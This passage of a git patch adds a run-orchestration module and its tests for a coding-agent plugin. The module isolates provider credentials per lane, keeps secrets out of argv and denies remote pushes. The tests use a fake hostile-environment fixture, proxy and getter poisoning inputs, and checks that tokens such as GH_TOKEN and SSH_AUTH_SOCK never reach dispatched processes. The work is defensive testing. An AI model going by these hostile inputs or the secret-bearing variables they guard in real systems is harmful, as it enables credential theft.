internal.push({ + assignmentId, identity, unresolved: true, env: null, secrets: [], argv: capturedFreeze([assignmentId]), + }); + continue; + } + const env = await materializeProviderEnvironment({ + provider: resolved.provider, + source: envSource, + dshModel: resolved.dshModel, + operation: 'lane', + }); + assertLaneIsolation(env, resolved.provider, resolved.dshModel); + if (inspectEnvForSecrets(env, foreignSecrets(envSource, resolved.provider, resolved.dshModel))) { + failOrchestration('orchestration_lane_isolation_failed', 'lanes'); + } + const projectedKeys = Object.keys(env).sort(); + const credentialPresent = Object.keys(extractCredentialEnv(env)).length > 0; + const argv = capturedFreeze([assignmentId]); + const secrets = collectLaneSecrets(env); + if (inspectArgvForSecrets(argv, secrets) || inspectArgvForSecrets(argv, collectLaneSecrets(envSource))) { + failOrchestration('orchestration_argv_secret_denied', 'lanes'); + } + const lane = capturedFreeze({ + assignment_id: assignmentId, + provider: resolved.provider, + model: resolved.model, + status: 'projected', + identity, + projected_keys: capturedFreeze(projectedKeys), + credential_present: credentialPresent, + }); + publicLanes.push(lane); + internal.push({ + assignmentId, + identity, + unresolved: false, + provider: resolved.provider, + model: resolved.model, + dshModel: resolved.dshModel, + env, + secrets, + argv, + }); + } + return { publicLanes, internal }; +} + +function buildReceipt({ + status, runId, intent, preflight, lanes, sideEffects, +}) { + const receipt = capturedFreeze({ + schema: RUN_ORCHESTRATION_SCHEMA_ID, + version: RUN_ORCHESTRATION_VERSION, + status, + run_id: runId, + intent, + preflight, + lanes: capturedFreeze(lanes), + checks: RUN_ORCHESTRATION_CHECKS, + side_effects: capturedFreeze(sideEffects), + }); + for (const key of PRIVATE_RECEIPT_KEYS) { + if (!Object.hasOwn(receipt, key)) fail('invalid_format', 'receipt', 'Orchestration receipt is incomplete.'); + } + for (const lane of lanes) { + for (const key of PRIVATE_LANE_KEYS) { + if (!Object.hasOwn(lane, key)) fail('invalid_format', 'lanes', 'Orchestration lane receipt is incomplete.'); + } + } + for (const claim of RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS) { + if (receipt.side_effects[claim] !== false) { + fail('invalid_format', 'side_effects', 'Orchestration claimed a denied side effect.'); + } + } + return freezeData(receipt); +} + +async function cleanupIdentities(identities) { + for (const identity of identities) { + try { + await recoverCredentialHandoffByIdentity(identity); + } catch { + // Best-effort cleanup must stay content-free and non-throwing. + } + } +} + +async function stopDispatchers(stops) { + for (const stop of stops) { + if (typeof stop !== 'function') continue; + try { + await stop(); + } catch { + // Stop failures must not resurrect secrets or skip remaining cleanup. + } + } +} + +async function cleanupSession(session) { + if (!session) return { cleaned: true, missing: true }; + session.cleaned = true; + await stopDispatchers(session.stops); + await cleanupIdentities(session.identities); + session.stops = []; + return { cleaned: true, missing: false }; +} + +async function createLaneHandoff(lane) { + const secrets = extractCredentialEnv(lane.env); + if (Object.keys(secrets).length === 0) return null; + return createCredentialHandoff(secrets, { identity: lane.identity }); +} + +async function dispatchLanes(internal, parsed, sideEffects) { + if (typeof parsed.dispatch !== 'function') { + failOrchestration('orchestration_dispatcher_required', 'options.dispatch'); + } + for (const lane of internal) { + if (lane.unresolved) failOrchestration('orchestration_selection_unresolved', 'lanes'); + } + const identities = internal.map((lane) => lane.identity); + const stops = []; + const session = { identities, stops, internal, parsed, cleaned: false }; + try { + for (const lane of internal) { + if (inspectArgvForSecrets(lane.argv, lane.secrets) + || inspectArgvForSecrets(lane.argv, collectLaneSecrets(lane.env))) { + failOrchestration('orchestration_argv_secret_denied', 'dispatch'); + } + const handoff = await createLaneHandoff(lane); + if (handoff) sideEffects.credential_handoff_created = true; + const result = await parsed.dispatch(capturedFreeze({ + assignment_id: lane.assignmentId, + provider: lane.provider, + model: lane.model, + env: lane.env, + argv: lane.argv, + identity: lane.identity, + })); + sideEffects.task_dispatched = true; + sideEffects.provider_process_started = true; + if (result && typeof result.stop === 'function') stops.push(result.stop); + } + } catch (error) { + await cleanupSession(session); + if (error instanceof RunContractV1Error || error instanceof CredentialBoundaryError) throw error; + failOrchestration('orchestration_dispatch_failed', 'dispatch'); + } + return session; +} + +export async function orchestrateRunDispatchV1(request, options) { + const parsedRequest = parseRequest(request); + const parsedOptions = parseOptions(options); + const sideEffects = emptySideEffects(); + const preflight = await validateRunPreflightV1( + { manifest: parsedRequest.manifest }, + preflightOptionsFrom(parsedOptions), + ); + const envSource = takeEnvAfterPreflight(parsedOptions); + const projected = await projectManifestLanes( + preflight.run_id, + parsedRequest.manifest.assignments, + envSource, + ); + sideEffects.credentials_projected = projected.internal.some((lane) => !lane.unresolved); + let session = null; + let status = 'prepared'; + if (parsedRequest.intent === 'dispatch') { + session = await dispatchLanes(projected.internal, parsedOptions, sideEffects); + } + if (parsedRequest.intent === 'dispatch') status = 'dispatched'; + const receipt = buildReceipt({ + status, + runId: preflight.run_id, + intent: parsedRequest.intent, + preflight, + lanes: projected.publicLanes, + sideEffects, + }); + PRIVATE_SESSIONS.set(receipt, { + identities: projected.internal.map((lane) => lane.identity), + stops: session?.stops ?? [], + internal: projected.internal, + parsed: parsedOptions, + cleaned: false, + }); + return receipt; +} + +function requireSession(receipt) { + assertNotProxy(receipt, 'receipt'); + if (!isPlainObject(receipt) && typeof receipt !== 'object') { + failOrchestration('orchestration_session_unknown', 'receipt'); + } + const session = PRIVATE_SESSIONS.get(receipt); + if (!session) failOrchestration('orchestration_session_unknown', 'receipt'); + return session; +} + +function identitiesFromReceipt(receipt) { + const lanes = receipt?.lanes; + if (!Array.isArray(lanes)) return []; + const identities = []; + for (const lane of lanes) { + if (lane && typeof lane.identity === 'string') identities.push(lane.identity); + } + return identities; +} + +export async function cancelRunDispatchV1(receipt) { + let session = null; + try { + session = requireSession(receipt); + } catch (error) { + await cleanupIdentities(identitiesFromReceipt(receipt)); + if (error instanceof RunContractV1Error && error.code === 'orchestration_session_unknown') { + return freezeData({ status: 'cancelled', cleaned: true, missing: true }); + } + throw error; + } + await cleanupSession(session); + return freezeData({ status: 'cancelled', cleaned: true, missing: false }); +} + +export async function completeRunDispatchV1(receipt) { + const session = requireSession(receipt); + await cleanupSession(session); + return freezeData({ status: 'terminal', cleaned: true, missing: false }); +} + +export async function restartRunDispatchV1(receipt, options) { + const session = requireSession(receipt); + await stopDispatchers(session.stops); + session.stops = []; + await cleanupIdentities(session.identities); + const parsed = parseOptions(options); + const dispatch = parsed.dispatch ?? session.parsed.dispatch; + if (typeof dispatch !== 'function') { + failOrchestration('orchestration_dispatcher_required', 'options.dispatch'); + } + const restartOptions = { + ...session.parsed, + dispatch, + }; + const sideEffects = emptySideEffects(); + sideEffects.credentials_projected = true; + const next = await dispatchLanes(session.internal, restartOptions, sideEffects); + session.stops = next.stops; + session.parsed = restartOptions; + session.cleaned = false; + return freezeData({ + status: 'dispatched', + cleaned: false, + restarted: true, + side_effects: capturedFreeze(sideEffects), + }); +} + +export function denyRunRemoteMutationV1(operation) { + return denyWorkerRemoteMutation(operation); +} + +export function describeRunOrchestrationV1() { + const inventory = capturedFreeze({ + schema: RUN_ORCHESTRATION_SCHEMA_ID, + version: RUN_ORCHESTRATION_VERSION, + rule: 'preflight_then_closed_projection_before_any_launch_side_effect', + intents: ORCHESTRATION_INTENTS, + checks: RUN_ORCHESTRATION_CHECKS, + error_codes: RUN_ORCHESTRATION_ERROR_CODES, + side_effects: RUN_ORCHESTRATION_SIDE_EFFECTS, + always_false_side_effects: RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS, + composed_surfaces: capturedFreeze({ + preflight: RUN_PREFLIGHT_SCHEMA_ID, + credential_boundary: CREDENTIAL_BOUNDARY_SCHEMA_ID, + credential_error_codes: CREDENTIAL_BOUNDARY_ERROR_CODES, + preflight_error_codes: RUN_PREFLIGHT_ERROR_CODES, + preflight_nonclaims: RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + provider_registry: 'P23 registry owns composition; not invoked here', + protected_ref_audit: 'P30 live-ref audit is not invoked here', + supervisor_server: 'no cutover; dispatch is an injected seam', + public_api: 'not exposed', + gate_a: 'not claimed', + }), + }); + return freezeData(inventory); +} + +capturedFreeze(orchestrateRunDispatchV1); +capturedFreeze(cancelRunDispatchV1); +capturedFreeze(completeRunDispatchV1); +capturedFreeze(restartRunDispatchV1); +capturedFreeze(denyRunRemoteMutationV1); +capturedFreeze(describeRunOrchestrationV1); From e1123ab426d418795def9e5867b5a7bd81718261 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 17:02:42 +0000 Subject: [PATCH 105/151] test(run): prove fail-closed orchestration and isolation Cover hostile preflight and CPU/RAM capacity denials with zero side effects, mixed-provider environment and argv isolation, credential handoff cleanup on cancel/terminal/restart and dispatch failure, and denied worker remote mutation. Prepare still creates no workspace, reservation, handoff, or provider process. --- .../r1-run-orchestration-fixtures.mjs | 135 ++++++++ .../r1-run-orchestration-adversarial.test.mjs | 274 +++++++++++++++++ .../test/r1-run-orchestration.test.mjs | 290 ++++++++++++++++++ 3 files changed, 699 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-orchestration-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-orchestration-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-orchestration.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-orchestration-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-orchestration-fixtures.mjs new file mode 100644 index 0000000..237f9b7 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-orchestration-fixtures.mjs @@ -0,0 +1,135 @@ +// Neutral fixtures for RunOrchestrationV1 tests: disposable repositories, +// closed hostile environments, recording dispatchers, and side-effect +// snapshots. Tests own the assertions; nothing here ranks, defaults, or +// substitutes a provider. + +import { createHash } from 'node:crypto'; +import { lstat, readdir, readFile } from 'node:fs/promises'; +import path from 'node:path'; + +import { DENIED_OPERATIONS } from '../../mcp/v3/git-authority.mjs'; +import { handoffPathFromProcessIdentity } from '../../mcp/v3/credential-boundary.mjs'; +import { + createLinearRepo, + createRecordingSpawn, + hostFacts, + laneManifestsForCount, + preflightManifest, + runFixtureGitIn, + twoLaneManifest, + writerLane, +} from './r1-run-preflight-fixtures.mjs'; +import { HOSTILE_ENV, withTempDir } from './r1-credential-boundary-fixtures.mjs'; + +export { + createLinearRepo, + createRecordingSpawn, + hostFacts, + laneManifestsForCount, + preflightManifest, + runFixtureGitIn, + twoLaneManifest, + writerLane, + HOSTILE_ENV, + withTempDir, + DENIED_OPERATIONS, +}; + +export const RUN_ID = 'orchestration-under-test'; +export const ASSIGNMENT_ID_A = 'lane-alpha'; +export const ASSIGNMENT_ID_B = 'lane-beta'; + +export const SUFFICIENT_HOST = hostFacts(); + +export function orchestrationManifest(assignments, overrides = {}) { + const manifest = preflightManifest(assignments, overrides); + manifest.run_id = overrides.runId ?? RUN_ID; + return manifest; +} + +export function twoLaneOrchestrationManifest(overrides = {}) { + return orchestrationManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/alpha/**']), + writerLane(ASSIGNMENT_ID_B, ['src/beta/**']), + ], overrides); +} + +export function mixedProviderManifest(overrides = {}) { + const baseSha = overrides.baseSha ?? '0123456789abcdef0123456789abcdef01234567'; + return orchestrationManifest([ + writerLane('lane-grok', ['src/grok/**'], { + execution: { provider: 'grok', model: 'grok-4' }, + }), + writerLane('lane-local', ['src/local/**'], { + execution: { provider: 'cursor-local', model: 'composer-1' }, + }), + writerLane('lane-cloud', ['src/cloud/**'], { + execution: { provider: 'cursor-cloud', model: 'claude-sonnet-4-5' }, + starting_ref: baseSha, + }), + writerLane('lane-muse', ['src/muse/**'], { + execution: { provider: 'dsh', model: 'muse-spark-1.2-contributor' }, + }), + writerLane('lane-ox', ['src/ox/**'], { + execution: { provider: 'dsh', model: 'stealth/ox-alpha' }, + }), + ], overrides); +} + +export function createRecordingDispatcher() { + const calls = []; + const stopped = []; + const dispatch = async (plan) => { + calls.push({ + assignment_id: plan.assignment_id, + provider: plan.provider, + model: plan.model, + identity: plan.identity, + argv: [...plan.argv], + envKeys: Object.keys(plan.env).sort(), + env: plan.env, + }); + return { + identity: plan.identity, + stop: async () => { + stopped.push(plan.identity); + }, + }; + }; + return { dispatch, calls, stopped }; +} + +export async function snapshotState(root) { + const entries = []; + async function walk(relative) { + const absolute = path.join(root, relative); + const metadata = await lstat(absolute); + if (metadata.isDirectory()) { + entries.push({ p: relative, t: 'dir', m: metadata.mode }); + const children = await readdir(absolute); + children.sort(); + for (const child of children) await walk(path.join(relative, child)); + return; + } + if (metadata.isSymbolicLink()) { + entries.push({ p: relative, t: 'link', m: metadata.mode }); + return; + } + const digest = createHash('sha256'); + if (metadata.size <= 1024 * 1024) digest.update(await readFile(absolute)); + else digest.update(String(metadata.size)); + entries.push({ + p: relative, t: 'file', m: metadata.mode, s: metadata.size, h: digest.digest('hex'), + }); + } + await walk(''); + const refs = await runFixtureGitIn(root, ['for-each-ref', '--format=%(refname) %(objectname)']); + return { entries, refs }; +} + +export function receiptContainsSecret(receipt, secrets) { + const serialized = JSON.stringify(receipt); + return secrets.some((secret) => typeof secret === 'string' && secret.length > 0 && serialized.includes(secret)); +} + +export { handoffPathFromProcessIdentity }; diff --git a/plugins/codex-co-engineer/test/r1-run-orchestration-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-orchestration-adversarial.test.mjs new file mode 100644 index 0000000..2da4efa --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-orchestration-adversarial.test.mjs @@ -0,0 +1,274 @@ +// P31 run orchestration — adversarial coverage: hostile preflight and +// capacity denials create zero side effects, env/argv isolation holds, +// getters and proxies never run, dispatch is not a hidden default, and +// remote mutation remains denied. + +import assert from 'node:assert/strict'; +import { Buffer as NodeBuffer } from 'node:buffer'; +import { lstat } from 'node:fs/promises'; +import test from 'node:test'; + +import { CredentialBoundaryError } from '../mcp/v3/credential-boundary.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + denyRunRemoteMutationV1, + orchestrateRunDispatchV1, +} from '../mcp/v3/run-orchestration.mjs'; +import { + HOSTILE_ENV, + SUFFICIENT_HOST, + createLinearRepo, + createRecordingDispatcher, + createRecordingSpawn, + handoffPathFromProcessIdentity, + hostFacts, + laneManifestsForCount, + snapshotState, + twoLaneOrchestrationManifest, + writerLane, + preflightManifest, +} from './fixtures/r1-run-orchestration-fixtures.mjs'; + +async function expectCode(promise, code, ErrorType = RunContractV1Error) { + try { + await promise; + } catch (error) { + assert.ok(error instanceof ErrorType, `expected ${ErrorType.name}, got ${error}`); + assert.equal(error.code, code, error.message); + assert.ok(NodeBuffer.byteLength(error.message, 'utf8') <= 200); + return error; + } + throw new Error(`expected failure with code ${code}`); +} + +test('capacity denial fails closed without projection, dispatch, or workspace mutation', async () => { + const repo = await createLinearRepo('p31-cpu-'); + const dispatcher = createRecordingDispatcher(); + const recording = createRecordingSpawn(); + let envReads = 0; + const env = new Proxy(HOSTILE_ENV, { + get(target, property, receiver) { + envReads += 1; + return Reflect.get(target, property, receiver); + }, + ownKeys(target) { + envReads += 1; + return Reflect.ownKeys(target); + }, + }); + try { + const before = await snapshotState(repo.root); + const error = await expectCode( + orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }), + intent: 'dispatch', + }, + { + host: hostFacts({ cpu_parallelism: 0 }), + env, + spawn: recording.spawn, + dispatch: dispatcher.dispatch, + }, + ), + 'host_cpu_capacity_exceeded', + ); + assert.ok(error instanceof RunContractV1Error); + assert.equal(dispatcher.calls.length, 0); + assert.equal(recording.records.length, 0); + assert.equal(envReads, 0); + assert.deepEqual(await snapshotState(repo.root), before); + } finally { + await repo.cleanup(); + } +}); + +test('RAM capacity denial does not read env or invoke dispatch', async () => { + const repo = await createLinearRepo('p31-ram-'); + const dispatcher = createRecordingDispatcher(); + let envAccessed = false; + const options = { + host: hostFacts({ available_ram_bytes: 1 }), + dispatch: dispatcher.dispatch, + }; + Object.defineProperty(options, 'env', { + enumerable: true, + get() { + envAccessed = true; + throw new Error('env getter must never run'); + }, + }); + try { + const before = await snapshotState(repo.root); + await expectCode( + orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }), + intent: 'dispatch', + }, + options, + ), + 'host_ram_capacity_exceeded', + ); + assert.equal(envAccessed, false); + assert.equal(dispatcher.calls.length, 0); + assert.deepEqual(await snapshotState(repo.root), before); + } finally { + await repo.cleanup(); + } +}); + +test('hostile preflight inputs fail before dispatch and leave the world identical', async () => { + const repo = await createLinearRepo('p31-hostile-'); + const dispatcher = createRecordingDispatcher(); + try { + const before = await snapshotState(repo.root); + const base = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }); + await expectCode( + orchestrateRunDispatchV1( + { manifest: new Proxy(base, {}), intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ), + 'proxy_denied', + ); + const withSymbol = { manifest: structuredClone(base), intent: 'prepare' }; + Object.defineProperty(withSymbol, Symbol('poison'), { + enumerable: true, + get() { throw new Error('symbol getter must never run'); }, + }); + await expectCode( + orchestrateRunDispatchV1(withSymbol, { host: SUFFICIENT_HOST, dispatch: dispatcher.dispatch }), + 'symbol_key_denied', + ); + await expectCode( + orchestrateRunDispatchV1( + { + manifest: laneManifestsForCount(9, { + repositoryPath: repo.root, baseSha: repo.baseSha, + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ), + 'preflight_child_count_exceeded', + ); + await expectCode( + orchestrateRunDispatchV1( + { + manifest: preflightManifest([ + writerLane('lane-overlap-a', ['src/shared/**']), + writerLane('lane-overlap-b', ['src/shared/nested/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ), + 'overlapping_writer_scope', + ); + assert.equal(dispatcher.calls.length, 0); + assert.deepEqual(await snapshotState(repo.root), before); + } finally { + await repo.cleanup(); + } +}); + +test('unknown intent and missing dispatcher fail closed without a handoff', async () => { + const repo = await createLinearRepo('p31-intent-'); + try { + const before = await snapshotState(repo.root); + await expectCode( + orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }), + intent: 'launch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV }, + ), + 'orchestration_intent_invalid', + ); + const error = await expectCode( + orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-no-dispatch', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV }, + ), + 'orchestration_dispatcher_required', + ); + assert.equal(error.message.includes(repo.root), false); + assert.deepEqual(await snapshotState(repo.root), before); + } finally { + await repo.cleanup(); + } +}); + +test('unresolved lanes may prepare but cannot dispatch', async () => { + const repo = await createLinearRepo('p31-unresolved-'); + const dispatcher = createRecordingDispatcher(); + try { + const manifest = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-unresolved', + }); + delete manifest.assignments[0].execution; + const prepared = await orchestrateRunDispatchV1( + { manifest, intent: 'prepare' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ); + assert.equal(prepared.status, 'prepared'); + assert.equal(prepared.lanes[0].status, 'selection_unresolved'); + assert.equal(dispatcher.calls.length, 0); + await expectCode( + orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ), + 'orchestration_selection_unresolved', + ); + assert.equal(dispatcher.calls.length, 0); + await assert.rejects( + () => lstat(handoffPathFromProcessIdentity(prepared.lanes[0].identity)), + { code: 'ENOENT' }, + ); + } finally { + await repo.cleanup(); + } +}); + +test('content-free errors never echo secrets, paths, or denied operations', async () => { + const repo = await createLinearRepo('p31-redact-'); + try { + const error = await expectCode( + orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }), + }, + { host: hostFacts({ cpu_parallelism: 0 }), env: HOSTILE_ENV }, + ), + 'host_cpu_capacity_exceeded', + ); + assert.equal(error.message.includes(HOSTILE_ENV.XAI_API_KEY), false); + assert.equal(error.message.includes(repo.root), false); + try { + denyRunRemoteMutationV1('push'); + } catch (denied) { + assert.ok(denied instanceof CredentialBoundaryError); + assert.equal(denied.message.includes('push'), false); + assert.match(denied.message, /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u); + } + } finally { + await repo.cleanup(); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-run-orchestration.test.mjs b/plugins/codex-co-engineer/test/r1-run-orchestration.test.mjs new file mode 100644 index 0000000..6d19601 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-orchestration.test.mjs @@ -0,0 +1,290 @@ +// P31 run orchestration — focused coverage: P26 preflight is bound to P29 +// closed projection before any launch side effect, prepare is side-effect +// free, dispatch preserves provider isolation, argv is credential-free, +// cleanup runs on cancel/terminal/restart, and remote mutation stays denied. + +import assert from 'node:assert/strict'; +import { lstat } from 'node:fs/promises'; +import test from 'node:test'; + +import { + CREDENTIAL_BOUNDARY_SCHEMA_ID, + CredentialBoundaryError, + collectLaneSecrets, + inspectArgvForSecrets, + inspectEnvForSecrets, +} from '../mcp/v3/credential-boundary.mjs'; +import { + RUN_PREFLIGHT_SCHEMA_ID, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, +} from '../mcp/v3/run-preflight.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + ORCHESTRATION_INTENTS, + RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS, + RUN_ORCHESTRATION_CHECKS, + RUN_ORCHESTRATION_SCHEMA_ID, + cancelRunDispatchV1, + completeRunDispatchV1, + denyRunRemoteMutationV1, + describeRunOrchestrationV1, + orchestrateRunDispatchV1, + restartRunDispatchV1, +} from '../mcp/v3/run-orchestration.mjs'; +import { + DENIED_OPERATIONS, + HOSTILE_ENV, + SUFFICIENT_HOST, + createLinearRepo, + createRecordingDispatcher, + createRecordingSpawn, + handoffPathFromProcessIdentity, + mixedProviderManifest, + receiptContainsSecret, + snapshotState, + twoLaneOrchestrationManifest, +} from './fixtures/r1-run-orchestration-fixtures.mjs'; + +const SECRETS = collectLaneSecrets(HOSTILE_ENV); + +function assertAlwaysFalse(receipt) { + for (const claim of RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS) { + assert.equal(receipt.side_effects[claim], false, claim); + } +} + +async function expectMissing(filePath) { + await assert.rejects(() => lstat(filePath), { code: 'ENOENT' }); +} + +test('describeRunOrchestrationV1 is deterministic, frozen, and quotes composed surfaces', () => { + const first = describeRunOrchestrationV1(); + const second = describeRunOrchestrationV1(); + assert.deepStrictEqual(JSON.parse(JSON.stringify(first)), JSON.parse(JSON.stringify(second))); + assert.equal(first.schema, RUN_ORCHESTRATION_SCHEMA_ID); + assert.equal(first.rule, 'preflight_then_closed_projection_before_any_launch_side_effect'); + assert.deepEqual([...first.intents], [...ORCHESTRATION_INTENTS]); + assert.deepEqual([...first.checks], [...RUN_ORCHESTRATION_CHECKS]); + assert.equal(first.composed_surfaces.preflight, RUN_PREFLIGHT_SCHEMA_ID); + assert.equal(first.composed_surfaces.credential_boundary, CREDENTIAL_BOUNDARY_SCHEMA_ID); + assert.equal(first.composed_surfaces.protected_ref_audit, 'P30 live-ref audit is not invoked here'); + assert.equal(first.composed_surfaces.public_api, 'not exposed'); + assert.equal(first.composed_surfaces.gate_a, 'not claimed'); + assert.ok(Object.isFrozen(first)); + assert.ok(Object.isFrozen(first.composed_surfaces)); +}); + +test('prepare binds a ready P26 preflight to P29 projection with zero launch side effects', async () => { + const repo = await createLinearRepo('p31-prepare-'); + const dispatcher = createRecordingDispatcher(); + const recording = createRecordingSpawn(); + try { + const before = await snapshotState(repo.root); + const manifest = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }); + const receipt = await orchestrateRunDispatchV1( + { manifest, intent: 'prepare' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, spawn: recording.spawn, dispatch: dispatcher.dispatch }, + ); + assert.equal(receipt.schema, RUN_ORCHESTRATION_SCHEMA_ID); + assert.equal(receipt.status, 'prepared'); + assert.equal(receipt.intent, 'prepare'); + assert.equal(receipt.preflight.schema, RUN_PREFLIGHT_SCHEMA_ID); + assert.equal(receipt.preflight.status, 'ready'); + assert.equal(receipt.side_effects.credentials_projected, true); + assert.equal(receipt.side_effects.task_dispatched, false); + assert.equal(receipt.side_effects.credential_handoff_created, false); + assert.equal(receipt.side_effects.provider_process_started, false); + assertAlwaysFalse(receipt); + for (const claim of RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS) { + assert.equal(receipt.preflight.side_effects[claim], false, claim); + } + assert.equal(dispatcher.calls.length, 0); + assert.equal(receiptContainsSecret(receipt, SECRETS), false); + assert.deepEqual(await snapshotState(repo.root), before); + for (const lane of receipt.lanes) { + await expectMissing(handoffPathFromProcessIdentity(lane.identity)); + } + } finally { + await repo.cleanup(); + } +}); + +test('mixed-provider prepare isolates each closed route and never shares credentials', async () => { + const repo = await createLinearRepo('p31-mixed-'); + try { + const manifest = mixedProviderManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }); + const receipt = await orchestrateRunDispatchV1( + { manifest }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV }, + ); + const byId = Object.fromEntries(receipt.lanes.map((lane) => [lane.assignment_id, lane])); + assert.equal(byId['lane-grok'].provider, 'grok'); + assert.equal(byId['lane-local'].provider, 'cursor-local'); + assert.equal(byId['lane-cloud'].provider, 'cursor-cloud'); + assert.equal(byId['lane-muse'].provider, 'dsh'); + assert.equal(byId['lane-muse'].model, 'muse-spark-1.2-contributor'); + assert.equal(byId['lane-ox'].provider, 'dsh'); + assert.equal(byId['lane-ox'].model, 'stealth/ox-alpha'); + assert.equal(byId['lane-grok'].credential_present, true); + assert.equal(byId['lane-local'].credential_present, false); + assert.equal(byId['lane-cloud'].credential_present, true); + assert.equal(byId['lane-muse'].credential_present, true); + assert.equal(byId['lane-ox'].credential_present, true); + assert.ok(byId['lane-grok'].projected_keys.includes('XAI_API_KEY')); + assert.equal(byId['lane-grok'].projected_keys.includes('MODEL_API_KEY'), false); + assert.equal(byId['lane-muse'].projected_keys.includes('OPENROUTER_API_KEY'), false); + assert.equal(byId['lane-ox'].projected_keys.includes('MODEL_API_KEY'), false); + assert.equal(byId['lane-local'].projected_keys.includes('CURSOR_API_KEY'), false); + assertAlwaysFalse(receipt); + assert.equal(receiptContainsSecret(receipt, SECRETS), false); + } finally { + await repo.cleanup(); + } +}); + +test('dispatch uses closed env, never puts secrets in argv, and still creates no workspace', async () => { + const repo = await createLinearRepo('p31-dispatch-'); + const dispatcher = createRecordingDispatcher(); + try { + const before = await snapshotState(repo.root); + const manifest = mixedProviderManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-dispatch', + }); + const receipt = await orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ); + assert.equal(receipt.status, 'dispatched'); + assert.equal(receipt.side_effects.task_dispatched, true); + assert.equal(receipt.side_effects.provider_process_started, true); + assert.equal(receipt.side_effects.credential_handoff_created, true); + assertAlwaysFalse(receipt); + assert.equal(dispatcher.calls.length, 5); + const byProvider = Object.fromEntries(dispatcher.calls.map((call) => [call.provider + ':' + call.model, call])); + const grok = byProvider['grok:grok-4']; + const local = byProvider['cursor-local:composer-1']; + const cloud = byProvider['cursor-cloud:claude-sonnet-4-5']; + const muse = byProvider['dsh:muse-spark-1.2-contributor']; + const ox = byProvider['dsh:stealth/ox-alpha']; + assert.equal(grok.env.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(Object.hasOwn(grok.env, 'MODEL_API_KEY'), false); + assert.equal(Object.hasOwn(local.env, 'XAI_API_KEY'), false); + assert.equal(Object.hasOwn(local.env, 'CURSOR_API_KEY'), false); + assert.equal(cloud.env.CURSOR_API_KEY, HOSTILE_ENV.CURSOR_API_KEY); + assert.equal(muse.env.MODEL_API_KEY, HOSTILE_ENV.MODEL_API_KEY); + assert.equal(Object.hasOwn(muse.env, 'OPENROUTER_API_KEY'), false); + assert.equal(ox.env.OPENROUTER_API_KEY, HOSTILE_ENV.OPENROUTER_API_KEY); + assert.equal(Object.hasOwn(ox.env, 'MODEL_API_KEY'), false); + for (const call of dispatcher.calls) { + assert.equal(inspectArgvForSecrets(call.argv, SECRETS), false); + assert.equal(call.env.GIT_TERMINAL_PROMPT, '0'); + assert.equal(Object.hasOwn(call.env, 'GH_TOKEN'), false); + assert.equal(Object.hasOwn(call.env, 'SSH_AUTH_SOCK'), false); + assert.equal(Object.hasOwn(call.env, 'NODE_OPTIONS'), false); + assert.equal(Object.hasOwn(call.env, 'WORKTREE_BOOTSTRAP_TASK'), false); + } + assert.equal(inspectEnvForSecrets(grok.env, [ + HOSTILE_ENV.MODEL_API_KEY, HOSTILE_ENV.OPENROUTER_API_KEY, HOSTILE_ENV.CURSOR_API_KEY, + ]), false); + assert.deepEqual(await snapshotState(repo.root), before); + 